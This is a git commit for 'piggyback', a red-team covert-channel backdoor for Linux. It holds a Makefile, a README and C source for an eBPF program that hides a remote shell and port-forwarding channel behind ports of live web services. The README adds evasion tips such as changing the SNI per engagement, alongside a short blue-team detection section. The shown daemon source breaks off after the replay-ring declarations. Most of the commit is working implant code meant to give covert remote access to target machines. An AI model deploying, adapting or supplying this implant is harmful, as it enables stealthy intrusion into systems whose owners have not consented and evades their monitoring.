initial commit

This commit is contained in:
Dominik Moritz Roth 2026-04-04 18:03:43 +02:00
commit abd95bf366
5 changed files with 1371 additions and 0 deletions

43
Makefile Normal file
View File

@ -0,0 +1,43 @@
CC = clang
CFLAGS = -O2 -Wall -Wextra
BPF_SRC = piggyback.bpf.c
BPF_OBJ = piggyback.bpf.o
SRV_SRC = piggyback.c
SRV_BIN = piggyback
CLI_SRC = pb-client.c
CLI_BIN = pb-client
# BPF include paths — adjust if headers are elsewhere
BPF_INCLUDES = -I/usr/include/bpf -I/usr/include -I/usr/include/x86_64-linux-gnu
.PHONY: all clean keygen
all: $(BPF_OBJ) $(SRV_BIN) $(CLI_BIN)
# eBPF kernel program — compiled to BPF bytecode
$(BPF_OBJ): $(BPF_SRC)
$(CC) -O2 -target bpf $(BPF_INCLUDES) -c $< -o $@
# Server daemon — requires libbpf + libsodium
$(SRV_BIN): $(SRV_SRC)
$(CC) $(CFLAGS) $< -o $@ -lbpf -lsodium -lpthread
# Client — requires libssl (OpenSSL) for Mode 2 TLS
$(CLI_BIN): $(CLI_SRC)
$(CC) $(CFLAGS) $< -o $@ -lssl -lcrypto -lpthread
# Generate Ed25519 keypair for use with -k flag
# Private key: engagement.key (keep offline, never on target)
# Public key: engagement.pub.hex (pass to daemon via -k)
keygen:
@openssl genpkey -algorithm ed25519 -out engagement.key
@openssl pkey -in engagement.key -pubout -out engagement.pub
@echo ""
@echo "Public key hex (pass to daemon with -k):"
@openssl pkey -in engagement.key -pubout -outform DER | tail -c 32 | xxd -p | tr -d '\n' | tr 'a-f' 'A-F'
@echo ""
@echo "Private key: engagement.key — keep offline, never copy to target"
clean:
rm -f $(BPF_OBJ) $(SRV_BIN) $(CLI_BIN) engagement.key engagement.pub

165
README.md Normal file
View File

@ -0,0 +1,165 @@
# piggyback
Covert channel using Linux TC eBPF. Intercepts TCP packets on a port already in use,
steals matching ones before the application sees them, and forwards or executes them.
Normal traffic is unaffected. Zero changes to existing services.
```
Mode 1 — Plain TCP
Client Server (:80)
│── TCP packet ────────────→ TC eBPF ingress
│ [MAGIC][header][payload] magic match?
│ YES → TC_ACT_STOLEN → daemon
│ NO → TC_ACT_OK → app (nginx etc.)
Mode 2 — Client wraps in legitimate TLS (middleware terminates SSL)
Client Middleware (:443) Server (:80)
│── valid TLS ──→ │ │
│ [MAGIC] │── [MAGIC][...] ────────→ TC eBPF ingress
│ inside │ (inner bytes fwd) magic match? → same as Mode 1
```
Mode 2 is identical server-side. Client establishes real TLS with a configurable
SNI so middleware routing works. Server never handles TLS — simpler, smaller surface.
---
## Requirements
- Linux 5.8+ (ring buffer + sk_lookup)
- Root / `CAP_NET_ADMIN` + `CAP_BPF`
- `libbpf`, `clang`, `llvm`, `bpftool`, `libsodium`, `libssl`
```bash
# Fedora
sudo dnf install libbpf-devel clang llvm kernel-headers bpftool libsodium-devel openssl-devel
# Debian/Ubuntu
sudo apt install libbpf-dev clang llvm linux-headers-$(uname -r) bpftool libsodium-dev libssl-dev
```
---
## Configuration
All config is compile-time. Edit the constants at the top of each file, then `make`.
### `piggyback.bpf.c` — eBPF kernel program
```c
#define PORTS { 80, 8080 } // TCP ports to watch (must match daemon LISTEN_PORT)
#define PORTS_N 2
#define MAGIC "\xDE\xAD\xC0\xDE\xCA\xFE" // magic byte sequence (keep in sync)
```
### `piggyback.c` — server daemon
```c
#define IFACE "" // "" = auto-detect default-route interface
#define LISTEN_PORT 80 // must match eBPF PORTS array
#define FWD_HOST "127.0.0.1" // default forward target (no-auth mode)
#define FWD_PORT 22 // default forward target port
#define SERVER_IP "1.2.3.4" // own public IPv4 (used in sig replay check)
#define VERBOSE 0
#define AUTH_ENABLED 0 // 1 = require Ed25519 signature on every connection
#define TRUSTED_PUBKEY { 0xAB, 0xCD, ... } // 32-byte pubkey from `make keygen`
```
### `pb-client.c` — client
```c
#define SERVER_IP "1.2.3.4"
#define SERVER_PORT 80
#define LOCAL_PORT 2222 // ssh -p 2222 localhost
#define CLIENT_MODE MODE_TCP // MODE_TCP or MODE_TLS
#define SNI "" // required for MODE_TLS — change per engagement
#define KEY_PATH "" // Ed25519 private key PEM, or "" to disable auth
#define CLIENT_ACTION ACTION_FORWARD // ACTION_FORWARD or ACTION_SHELL
#define TARGET_IP "127.0.0.1" // forward target (ACTION_FORWARD)
#define TARGET_PORT 22
#define SHELL_CMD "bash" // (ACTION_SHELL)
```
> **SNI note**: using the same SNI across deployments is a fingerprint. Change per engagement.
---
## Build
```bash
make
```
### Generate Ed25519 keypair (for auth)
```bash
make keygen
# Prints public key hex → paste into TRUSTED_PUBKEY in piggyback.c
# Saves engagement.key → set as KEY_PATH in pb-client.c (never copy to target)
```
---
## Usage
```bash
# Server (target machine)
sudo ./piggyback
# Client (operator machine)
./pb-client
# Then connect locally
ssh -p 2222 user@localhost
```
No CLI flags — all config is baked into the binary at compile time.
---
## Auth flow (AUTH_ENABLED=1)
1. `make keygen` — generate Ed25519 keypair
2. Set `TRUSTED_PUBKEY` in `piggyback.c`, `AUTH_ENABLED=1`, recompile daemon
3. Set `KEY_PATH` in `pb-client.c`, recompile client
4. Client sends: `MAGIC` (6 bytes) + signed 80-byte header + optional shell cmd
5. Daemon verifies Ed25519 sig, checks timestamp (±60s window), checks replay ring
6. On pass: dispatches action from header (`ACTION_FORWARD` or `ACTION_SHELL`)
7. On fail: connection dropped silently
Signed header format (80 bytes):
```
[0..7] unix timestamp, big-endian uint64
[8] action (0x01 = forward, 0x02 = shell)
[9..12] target IPv4 (forward) or zeros
[13..14] target port big-endian or zeros
[15] reserved
[16..79] Ed25519 sig over bytes [0..15] + SERVER_IP (4 bytes)
```
Signature covers `SERVER_IP` — a captured packet cannot be replayed to a different host.
---
## Detection (Blue Team)
```bash
tc filter show dev eth0 ingress # TC eBPF filters on interface
bpftool prog list # all loaded eBPF programs
bpftool map list # eBPF maps (look for conn_state, pending, daemon_sock)
```
Baseline `bpftool prog list` on clean systems. Alert on new TC ingress programs
on internet-facing interfaces.
---
## Known Limitations
- **ACTION_FORWARD target is IPv4 only** — the signed header has 4 bytes for target IP;
IPv6 forward targets require header format extension
- **Replay ring is size-bounded** — 256 entries evicted by overwrite, not by time expiry;
with REPLAY_WINDOW_SEC=30 this is sufficient for normal use
- **sk_lookup may fail on some kernels** — daemon logs a warning and falls back to
connect-back mode (works except behind strict NAT)
- **Magic must fit in first ~6 TCP payload bytes** — split across segments handled
by per-connection eBPF state machine, but only within a 6-byte sliding window
per packet; edge cases with very small MSS possible

339
pb-client.c Normal file
View File

@ -0,0 +1,339 @@
// pb-client.c — piggyback client
//
// All configuration is via compile-time constants below.
// Build: make Run: ./pb-client
//
// Mode 1 (CLIENT_MODE = MODE_TCP):
// Plain TCP to server, sends MAGIC prefix, splices traffic.
//
// Mode 2 (CLIENT_MODE = MODE_TLS):
// Genuine TLS connection to middleware (SNI required).
// Middleware decrypts and forwards inner bytes to plain TCP backend.
// Server-side eBPF sees raw MAGIC as in Mode 1.
//
// Auth (KEY_PATH != ""):
// Sends Ed25519-signed 80-byte header after MAGIC.
// Required when daemon has AUTH_ENABLED=1.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <time.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/epoll.h>
#include <pthread.h>
#include <openssl/ssl.h>
#include <openssl/err.h>
#include <openssl/evp.h>
#include <openssl/pem.h>
// ── Engagement Configuration ──────────────────────────────────────────────────
// Edit these before compiling.
#define SERVER_IP "1.2.3.4" // target server IP or hostname
#define SERVER_PORT 80 // target port
#define LOCAL_PORT 2222 // local listener port (ssh -p LOCAL_PORT localhost)
// Connection mode
#define CLIENT_MODE MODE_TCP // MODE_TCP or MODE_TLS
#define SNI "" // SNI hostname — required for MODE_TLS
// Auth — leave KEY_PATH "" to disable (no signed header sent)
// Run `make keygen` to generate keypair. Set AUTH_ENABLED=1 in daemon.
#define KEY_PATH "" // e.g. "engagement.key" (PEM, Ed25519 private key)
#define CLIENT_ACTION ACTION_FORWARD // ACTION_FORWARD or ACTION_SHELL
#define TARGET_IP "127.0.0.1" // forward target IPv4 (ACTION_FORWARD)
#define TARGET_PORT 22 // forward target port (ACTION_FORWARD)
#define SHELL_CMD "bash" // shell command (ACTION_SHELL)
#define VERBOSE 0 // 1 = debug logging
// ── Shared constants (must match piggyback.bpf.c / piggyback.c) ──────────────
#define MAGIC "\xDE\xAD\xC0\xDE\xCA\xFE"
#define MAGIC_LEN 6
#define HEADER_LEN 80 // 16 bytes fields + 64 bytes Ed25519 signature
#define ACTION_FORWARD 0x01
#define ACTION_SHELL 0x02
// ── Mode enum ─────────────────────────────────────────────────────────────────
typedef enum { MODE_TCP, MODE_TLS } client_mode_t;
// ── Globals ───────────────────────────────────────────────────────────────────
static volatile int running = 1;
static SSL_CTX *ssl_ctx = NULL;
// ── Logging ───────────────────────────────────────────────────────────────────
#define log_info(fmt, ...) fprintf(stdout, "[+] " fmt "\n", ##__VA_ARGS__)
#define log_err(fmt, ...) fprintf(stderr, "[-] " fmt "\n", ##__VA_ARGS__)
#define log_dbg(fmt, ...) do { if (VERBOSE) fprintf(stdout, "[.] " fmt "\n", ##__VA_ARGS__); } while(0)
// ── Abstract I/O over plain TCP or TLS ───────────────────────────────────────
struct conn { int fd; SSL *ssl; };
static ssize_t conn_read(struct conn *c, void *buf, size_t len) {
return c->ssl ? SSL_read(c->ssl, buf, (int)len) : read(c->fd, buf, len);
}
static ssize_t conn_write(struct conn *c, const void *buf, size_t len) {
return c->ssl ? SSL_write(c->ssl, buf, (int)len) : write(c->fd, buf, len);
}
static void conn_close(struct conn *c) {
if (c->ssl) { SSL_shutdown(c->ssl); SSL_free(c->ssl); c->ssl = NULL; }
if (c->fd >= 0) { close(c->fd); c->fd = -1; }
}
// ── Bidirectional splice ──────────────────────────────────────────────────────
static void splice_loop(int local_fd, struct conn *remote) {
int epfd = epoll_create1(0);
struct epoll_event ev, evs[2];
char buf[65536];
ev.events = EPOLLIN | EPOLLERR | EPOLLHUP;
ev.data.fd = local_fd; epoll_ctl(epfd, EPOLL_CTL_ADD, local_fd, &ev);
ev.data.fd = remote->fd; epoll_ctl(epfd, EPOLL_CTL_ADD, remote->fd, &ev);
while (running) {
int n = epoll_wait(epfd, evs, 2, 1000);
for (int i = 0; i < n; i++) {
if (evs[i].events & (EPOLLERR | EPOLLHUP)) goto done;
if (evs[i].data.fd == local_fd) {
ssize_t r = read(local_fd, buf, sizeof(buf));
if (r <= 0) goto done;
ssize_t w = 0;
while (w < r) { ssize_t s = conn_write(remote, buf+w, r-w); if (s<=0) goto done; w+=s; }
} else {
ssize_t r = conn_read(remote, buf, sizeof(buf));
if (r <= 0) goto done;
ssize_t w = 0;
while (w < r) { ssize_t s = write(local_fd, buf+w, r-w); if (s<=0) goto done; w+=s; }
}
}
}
done:
close(epfd);
}
// ── Ed25519 signed header ─────────────────────────────────────────────────────
//
// Sends 80 bytes after MAGIC:
// [0..7] timestamp big-endian uint64
// [8] action
// [9..12] target IPv4 (ACTION_FORWARD) or zeros
// [13..14] target port big-endian or zeros
// [15] reserved
// [16..79] Ed25519 sig over bytes [0..15] + server_ip[4]
static int send_auth_header(struct conn *remote, uint32_t server_ip_be) {
uint8_t fields[16] = {0};
uint64_t ts = (uint64_t)time(NULL);
for (int i = 7; i >= 0; i--) { fields[i] = ts & 0xff; ts >>= 8; }
fields[8] = CLIENT_ACTION;
if (CLIENT_ACTION == ACTION_FORWARD) {
uint32_t tip = 0;
inet_pton(AF_INET, TARGET_IP, &tip);
memcpy(fields + 9, &tip, 4);
uint16_t tport = htons(TARGET_PORT);
memcpy(fields + 13, &tport, 2);
}
uint8_t msg[20];
memcpy(msg, fields, 16);
memcpy(msg + 16, &server_ip_be, 4);
FILE *f = fopen(KEY_PATH, "r");
if (!f) { perror("fopen privkey"); return -1; }
EVP_PKEY *pkey = PEM_read_PrivateKey(f, NULL, NULL, NULL);
fclose(f);
if (!pkey) { ERR_print_errors_fp(stderr); return -1; }
EVP_MD_CTX *ctx = EVP_MD_CTX_new();
size_t siglen = 64;
uint8_t sig[64];
int ok = ctx &&
EVP_DigestSignInit(ctx, NULL, NULL, NULL, pkey) == 1 &&
EVP_DigestSign(ctx, sig, &siglen, msg, sizeof(msg)) == 1;
if (ctx) EVP_MD_CTX_free(ctx);
EVP_PKEY_free(pkey);
if (!ok || siglen != 64) { ERR_print_errors_fp(stderr); return -1; }
uint8_t header[HEADER_LEN];
memcpy(header, fields, 16);
memcpy(header + 16, sig, 64);
if (conn_write(remote, header, HEADER_LEN) != HEADER_LEN) {
log_err("write auth header failed"); return -1;
}
return 0;
}
// ── Connect to server ─────────────────────────────────────────────────────────
static int tcp_connect(const char *host, int port) {
struct addrinfo hints = { .ai_family = AF_UNSPEC, .ai_socktype = SOCK_STREAM };
struct addrinfo *res;
char port_str[8];
snprintf(port_str, sizeof(port_str), "%d", port);
if (getaddrinfo(host, port_str, &hints, &res) != 0) {
log_err("getaddrinfo(%s:%d) failed", host, port); return -1;
}
int fd = -1;
for (struct addrinfo *r = res; r; r = r->ai_next) {
fd = socket(r->ai_family, r->ai_socktype, 0);
if (fd < 0) continue;
if (connect(fd, r->ai_addr, r->ai_addrlen) == 0) break;
close(fd); fd = -1;
}
freeaddrinfo(res);
if (fd < 0) log_err("connect to %s:%d failed", host, port);
return fd;
}
// ── Per-connection thread ─────────────────────────────────────────────────────
struct conn_args { int local_fd; };
static void *conn_thread(void *arg) {
struct conn_args *a = arg;
int local_fd = a->local_fd;
free(a);
struct conn remote = { .fd = -1, .ssl = NULL };
remote.fd = tcp_connect(SERVER_IP, SERVER_PORT);
if (remote.fd < 0) goto done;
if (CLIENT_MODE == MODE_TLS) {
if (!ssl_ctx) { log_err("SSL context not initialized"); goto done; }
remote.ssl = SSL_new(ssl_ctx);
if (!remote.ssl) goto done;
SSL_set_fd(remote.ssl, remote.fd);
if (strlen(SNI) > 0)
SSL_set_tlsext_host_name(remote.ssl, SNI);
if (SSL_connect(remote.ssl) != 1) {
ERR_print_errors_fp(stderr); log_err("TLS handshake failed"); goto done;
}
log_dbg("TLS connected (%s)", SSL_get_cipher(remote.ssl));
}
// Send MAGIC
if (conn_write(&remote, MAGIC, MAGIC_LEN) != MAGIC_LEN) {
log_err("write magic failed"); goto done;
}
// Send signed header if auth enabled
if (strlen(KEY_PATH) > 0) {
uint32_t server_ip_be = 0;
struct addrinfo hints = { .ai_family = AF_INET };
struct addrinfo *res;
if (getaddrinfo(SERVER_IP, NULL, &hints, &res) == 0) {
server_ip_be = ((struct sockaddr_in *)res->ai_addr)->sin_addr.s_addr;
freeaddrinfo(res);
}
if (send_auth_header(&remote, server_ip_be) != 0) goto done;
log_dbg("auth header sent (action=0x%02x)", CLIENT_ACTION);
if (CLIENT_ACTION == ACTION_SHELL) {
size_t cmdlen = strlen(SHELL_CMD);
if (conn_write(&remote, SHELL_CMD, cmdlen) != (ssize_t)cmdlen) {
log_err("write shell cmd failed"); goto done;
}
}
}
log_info("connected [%s%s]",
CLIENT_MODE == MODE_TLS ? "TLS" : "TCP",
strlen(KEY_PATH) > 0 ? " auth=ed25519" : "");
splice_loop(local_fd, &remote);
done:
conn_close(&remote);
close(local_fd);
return NULL;
}
// ── Signal ────────────────────────────────────────────────────────────────────
static void on_signal(int sig __attribute__((unused))) { running = 0; }
// ── Main ──────────────────────────────────────────────────────────────────────
int main(void) {
if (CLIENT_MODE == MODE_TLS && strlen(SNI) == 0) {
fprintf(stderr, "[-] SNI must be set for MODE_TLS\n"); return 1;
}
signal(SIGINT, on_signal);
signal(SIGTERM, on_signal);
signal(SIGPIPE, SIG_IGN);
// OpenSSL init (needed for key loading even in TCP mode)
SSL_library_init();
SSL_load_error_strings();
OpenSSL_add_all_algorithms();
if (CLIENT_MODE == MODE_TLS) {
ssl_ctx = SSL_CTX_new(TLS_client_method());
if (!ssl_ctx) { ERR_print_errors_fp(stderr); return 1; }
SSL_CTX_set_verify(ssl_ctx, SSL_VERIFY_PEER, NULL);
SSL_CTX_set_default_verify_paths(ssl_ctx);
SSL_CTX_set_min_proto_version(ssl_ctx, TLS1_2_VERSION);
}
int listen_fd = socket(AF_INET, SOCK_STREAM, 0);
int yes = 1;
setsockopt(listen_fd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes));
struct sockaddr_in laddr = {
.sin_family = AF_INET,
.sin_port = htons(LOCAL_PORT),
.sin_addr.s_addr = htonl(INADDR_LOOPBACK),
};
if (bind(listen_fd, (struct sockaddr *)&laddr, sizeof(laddr)) < 0) {
log_err("bind port %d: %s", LOCAL_PORT, strerror(errno)); return 1;
}
listen(listen_fd, 16);
log_info("pb-client on 127.0.0.1:%d → %s:%d [%s%s%s%s]",
LOCAL_PORT, SERVER_IP, SERVER_PORT,
CLIENT_MODE == MODE_TLS ? "TLS sni=" : "TCP",
CLIENT_MODE == MODE_TLS ? SNI : "",
strlen(KEY_PATH) > 0 ? " auth=ed25519" : "",
strlen(KEY_PATH) > 0 && CLIENT_ACTION == ACTION_SHELL ? " shell" : "");
while (running) {
struct sockaddr_in caddr;
socklen_t clen = sizeof(caddr);
int cfd = accept(listen_fd, (struct sockaddr *)&caddr, &clen);
if (cfd < 0) { if (running) perror("accept"); continue; }
struct conn_args *a = malloc(sizeof(*a));
if (!a) { close(cfd); continue; }
a->local_fd = cfd;
pthread_t tid;
pthread_create(&tid, NULL, conn_thread, a);
pthread_detach(tid);
}
close(listen_fd);
if (ssl_ctx) SSL_CTX_free(ssl_ctx);
return 0;
}

285
piggyback.bpf.c Normal file
View File

@ -0,0 +1,285 @@
// SPDX-License-Identifier: GPL-2.0
//
// piggyback.bpf.c — TC ingress + sk_lookup eBPF programs
//
// TC ingress: intercepts TCP packets on configured ports. If payload starts
// with MAGIC bytes (or partial match in progress), steals the packet
// (TC_ACT_STOLEN) and notifies userspace, or passes through (TC_ACT_OK).
//
// sk_lookup: steers new connections flagged by TC into the daemon's
// SO_REUSEPORT socket instead of the application socket.
//
// Supports IPv4 + IPv6. Handles magic split across TCP segments via
// per-connection LRU state map.
#include <linux/bpf.h>
#include <linux/pkt_cls.h>
#include <linux/if_ether.h>
#include <linux/ip.h>
#include <linux/ipv6.h>
#include <linux/tcp.h>
#include <linux/in.h>
#include <linux/in6.h>
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_endian.h>
// AF_ constants — cannot include glibc headers in BPF programs
#define AF_INET 2
#define AF_INET6 10
// ── Configuration ─────────────────────────────────────────────────────────────
#define PORTS { 80, 8080 }
#define PORTS_N 2
#define MAGIC "\xDE\xAD\xC0\xDE\xCA\xFE"
#define MAGIC_LEN 6
// Signed header: 16 bytes fields + 64 bytes Ed25519 sig = 80 total
// eBPF only checks structural validity; full Ed25519 verify is in userspace.
#define HEADER_LEN 80
// ── Shared types ──────────────────────────────────────────────────────────────
struct conn_key {
__u8 src_ip[16]; // IPv4: first 4 bytes; IPv6: all 16
__u16 src_port;
__u8 is_ipv6;
__u8 pad;
};
struct event {
__u8 src_ip[16];
__u16 src_port;
__u8 is_ipv6;
__u8 flags;
__u32 seq;
__u32 ack_seq;
__u8 header[HEADER_LEN];
__u8 header_valid;
};
// ── Maps ──────────────────────────────────────────────────────────────────────
struct {
__uint(type, BPF_MAP_TYPE_RINGBUF);
__uint(max_entries, 1 << 24);
} events SEC(".maps");
// Per-connection magic match state: bytes matched so far (0..MAGIC_LEN)
struct {
__uint(type, BPF_MAP_TYPE_LRU_HASH);
__uint(max_entries, 4096);
__type(key, struct conn_key);
__type(value, __u8);
} conn_state SEC(".maps");
// Connections awaiting sk_lookup steering: set by TC, cleared by sk_lookup
struct {
__uint(type, BPF_MAP_TYPE_LRU_HASH);
__uint(max_entries, 4096);
__type(key, struct conn_key);
__type(value, __u8);
} pending SEC(".maps");
// Daemon's SO_REUSEPORT socket — populated by userspace after bind
struct {
__uint(type, BPF_MAP_TYPE_SOCKMAP);
__uint(max_entries, 1);
__type(key, __u32);
__type(value, __u32);
} daemon_sock SEC(".maps");
struct {
__uint(type, BPF_MAP_TYPE_ARRAY);
__uint(max_entries, 4);
__type(key, __u32);
__type(value, __u64);
} stats SEC(".maps");
#define STAT_TOTAL 0
#define STAT_MAGIC 1
#define STAT_PASSED 2
#define STAT_PARTIAL 3
static __always_inline void inc_stat(__u32 idx) {
__u64 *v = bpf_map_lookup_elem(&stats, &idx);
if (v) __sync_fetch_and_add(v, 1);
}
// ── Helpers ───────────────────────────────────────────────────────────────────
static __always_inline int port_watched(__u16 port_be) {
__u16 ports[] = PORTS;
__u16 p = bpf_ntohs(port_be);
if (PORTS_N > 0 && p == ports[0]) return 1;
if (PORTS_N > 1 && p == ports[1]) return 1;
if (PORTS_N > 2 && p == ports[2]) return 1;
if (PORTS_N > 3 && p == ports[3]) return 1;
return 0;
}
static __always_inline __u8 magic_at(__u8 idx) {
const __u8 magic[] = MAGIC;
if (idx < MAGIC_LEN) return magic[idx];
return 0;
}
// ── TC ingress ────────────────────────────────────────────────────────────────
SEC("tc")
int piggyback_ingress(struct __sk_buff *skb) {
void *data = (void *)(long)skb->data;
void *data_end = (void *)(long)skb->data_end;
inc_stat(STAT_TOTAL);
struct ethhdr *eth = data;
if ((void *)(eth + 1) > data_end) return TC_ACT_OK;
__u8 is_ipv6 = 0;
__u8 src_ip[16] = {};
void *transport;
if (eth->h_proto == bpf_htons(ETH_P_IP)) {
struct iphdr *ip = (void *)(eth + 1);
if ((void *)(ip + 1) > data_end) return TC_ACT_OK;
if (ip->protocol != IPPROTO_TCP) return TC_ACT_OK;
__builtin_memcpy(src_ip, &ip->saddr, 4);
transport = (void *)ip + ip->ihl * 4;
} else if (eth->h_proto == bpf_htons(ETH_P_IPV6)) {
struct ipv6hdr *ip6 = (void *)(eth + 1);
if ((void *)(ip6 + 1) > data_end) return TC_ACT_OK;
if (ip6->nexthdr != IPPROTO_TCP) return TC_ACT_OK;
__builtin_memcpy(src_ip, &ip6->saddr, 16);
is_ipv6 = 1;
transport = (void *)(ip6 + 1);
} else {
return TC_ACT_OK;
}
struct tcphdr *tcp = transport;
if ((void *)(tcp + 1) > data_end) return TC_ACT_OK;
if (!port_watched(tcp->dest)) return TC_ACT_OK;
__u32 tcp_hlen = tcp->doff * 4;
__u8 *payload = (__u8 *)tcp + tcp_hlen;
if ((void *)payload > data_end) return TC_ACT_OK;
__u32 payload_len = (__u8 *)data_end - payload;
struct conn_key ck = {};
__builtin_memcpy(ck.src_ip, src_ip, 16);
ck.src_port = tcp->source;
ck.is_ipv6 = is_ipv6;
// ── Multi-packet state machine ────────────────────────────────────────────
__u8 *state_p = bpf_map_lookup_elem(&conn_state, &ck);
__u8 matched = state_p ? *state_p : 0;
// Unrolled byte walk — verifier requires bounded, known iterations
#define TRY_BYTE(i) \
if ((void *)(payload + (i) + 1) <= data_end) { \
__u8 b = payload[(i)]; \
if (b == magic_at(matched)) { \
matched++; \
} else { \
matched = (b == magic_at(0)) ? 1 : 0; \
} \
}
TRY_BYTE(0)
TRY_BYTE(1)
TRY_BYTE(2)
TRY_BYTE(3)
TRY_BYTE(4)
TRY_BYTE(5)
#undef TRY_BYTE
if (matched < MAGIC_LEN) {
if (matched > 0) {
bpf_map_update_elem(&conn_state, &ck, &matched, BPF_ANY);
inc_stat(STAT_PARTIAL);
} else {
bpf_map_delete_elem(&conn_state, &ck);
}
goto pass;
}
// ── Magic matched ─────────────────────────────────────────────────────────
bpf_map_delete_elem(&conn_state, &ck);
{
struct event *e = bpf_ringbuf_reserve(&events, sizeof(*e), 0);
if (!e) return TC_ACT_OK; // ring buffer full — pass, don't drop silently
__builtin_memcpy(e->src_ip, src_ip, 16);
e->src_port = tcp->source;
e->is_ipv6 = is_ipv6;
e->flags = ((__u8 *)tcp)[13];
e->seq = tcp->seq;
e->ack_seq = tcp->ack_seq;
e->header_valid = 0;
// Capture signed header bytes after magic for userspace Ed25519 verify
if (payload_len >= MAGIC_LEN + HEADER_LEN) {
__u32 hdr_offset = (__u8 *)payload - (__u8 *)data + MAGIC_LEN;
if (bpf_skb_load_bytes(skb, hdr_offset, e->header, HEADER_LEN) == 0)
e->header_valid = 1;
}
// Mark connection pending for sk_lookup steering
__u8 one = 1;
bpf_map_update_elem(&pending, &ck, &one, BPF_ANY);
bpf_ringbuf_submit(e, 0);
inc_stat(STAT_MAGIC);
return TC_ACT_STOLEN;
}
pass:
inc_stat(STAT_PASSED);
return TC_ACT_OK;
}
// ── sk_lookup ─────────────────────────────────────────────────────────────────
//
// Runs when kernel looks up a socket for an incoming connection.
// If the connection is in pending map (flagged by TC), redirect to daemon socket.
SEC("sk_lookup")
int piggyback_lookup(struct bpf_sk_lookup *ctx) {
struct conn_key ck = {};
if (ctx->family == AF_INET) {
__builtin_memcpy(ck.src_ip, &ctx->remote_ip4, 4);
ck.is_ipv6 = 0;
} else if (ctx->family == AF_INET6) {
__builtin_memcpy(ck.src_ip, ctx->remote_ip6, 16);
ck.is_ipv6 = 1;
} else {
return SK_PASS;
}
// remote_port in bpf_sk_lookup is __be16 (network byte order)
ck.src_port = ctx->remote_port;
__u8 *p = bpf_map_lookup_elem(&pending, &ck);
if (!p) return SK_PASS;
__u32 key = 0;
struct bpf_sock *sk = bpf_map_lookup_elem(&daemon_sock, &key);
if (!sk) return SK_PASS;
long ret = bpf_sk_assign(ctx, sk, 0);
bpf_sk_release(sk);
if (ret == 0)
bpf_map_delete_elem(&pending, &ck);
// SK_PASS after bpf_sk_assign means "use the assigned socket"
return SK_PASS;
}
char LICENSE[] SEC("license") = "GPL";

539
piggyback.c Normal file
View File

@ -0,0 +1,539 @@
// piggyback.c — userspace daemon
//
// Loads TC eBPF + sk_lookup programs, registers daemon socket,
// polls ring buffer, verifies Ed25519 signatures, dispatches connections.
//
// All configuration is via compile-time constants below.
// Build: make Run: sudo ./piggyback
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <time.h>
#include <inttypes.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/epoll.h>
#include <pthread.h>
#include <net/if.h>
#include <bpf/libbpf.h>
#include <bpf/bpf.h>
#include <sodium.h>
// ── Engagement Configuration ──────────────────────────────────────────────────
// Edit these before compiling. Run `make keygen` to generate a keypair.
#define IFACE "" // "" = auto-detect default-route interface; or set e.g. "eth0"
#define LISTEN_PORT 80 // must match PORTS in piggyback.bpf.c
#define FWD_HOST "127.0.0.1" // default forward target (no-auth mode)
#define FWD_PORT 22 // default forward target port
#define SERVER_IP "0.0.0.0" // own IPv4, included in signed message for replay prevention
#define VERBOSE 0 // 1 = debug logging
// Ed25519 auth.
// Set AUTH_ENABLED=1 and paste the 32-byte pubkey hex from `make keygen`.
// Leave AUTH_ENABLED=0 to accept any magic packet without signature check.
#define AUTH_ENABLED 0
#define TRUSTED_PUBKEY { \
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 \
}
// ── Shared constants (must match piggyback.bpf.c) ────────────────────────────
#define MAGIC "\xDE\xAD\xC0\xDE\xCA\xFE"
#define MAGIC_LEN 6
#define HEADER_LEN 80 // 16 bytes fields + 64 bytes Ed25519 signature
#define HDR_TIMESTAMP_OFF 0
#define HDR_ACTION_OFF 8
#define HDR_TARGET_IP_OFF 9
#define HDR_TARGET_PORT_OFF 13
#define HDR_SIG_OFF 16
#define HDR_MSG_LEN 20 // 16 header bytes + 4 server IP bytes
#define ACTION_FORWARD 0x01
#define ACTION_SHELL 0x02
#define REPLAY_RING_SIZE 256
#define TIMESTAMP_WINDOW 60 // seconds
// ── Event struct (must match piggyback.bpf.c) ─────────────────────────────────
struct event {
uint8_t src_ip[16];
uint16_t src_port;
uint8_t is_ipv6;
uint8_t flags;
uint32_t seq;
uint32_t ack_seq;
uint8_t header[HEADER_LEN];
uint8_t header_valid;
};
// ── Globals ───────────────────────────────────────────────────────────────────
static const uint8_t trusted_pubkey[] = TRUSTED_PUBKEY;
static uint8_t server_ip_bytes[4]; // parsed from SERVER_IP at startup
static volatile int running = 1;
static unsigned int ifindex = 0;
static char iface_name[64];
static struct bpf_object *obj = NULL;
static int accept_fd = -1;
// ── Interface auto-detection ──────────────────────────────────────────────────
static int get_default_iface(char *buf, size_t len) {
FILE *f = fopen("/proc/net/route", "r");
if (!f) return -1;
char line[256];
fgets(line, sizeof(line), f); // skip header
while (fgets(line, sizeof(line), f)) {
char iface[64];
unsigned int dest;
if (sscanf(line, "%63s %x", iface, &dest) == 2 && dest == 0) {
strncpy(buf, iface, len-1);
fclose(f);
return 0;
}
}
fclose(f);
return -1;
}
// ── Logging ───────────────────────────────────────────────────────────────────
#define log_info(fmt, ...) fprintf(stdout, "[+] " fmt "\n", ##__VA_ARGS__)
#define log_err(fmt, ...) fprintf(stderr, "[-] " fmt "\n", ##__VA_ARGS__)
#define log_dbg(fmt, ...) do { if (VERBOSE) fprintf(stdout, "[.] " fmt "\n", ##__VA_ARGS__); } while(0)
// ── Replay ring ───────────────────────────────────────────────────────────────
struct replay_entry {
uint32_t src_ip;
uint64_t timestamp;
uint8_t sig_prefix[8];
};
static struct replay_entry replay_ring[REPLAY_RING_SIZE];
static int replay_head = 0;
static pthread_mutex_t replay_lock = PTHREAD_MUTEX_INITIALIZER;
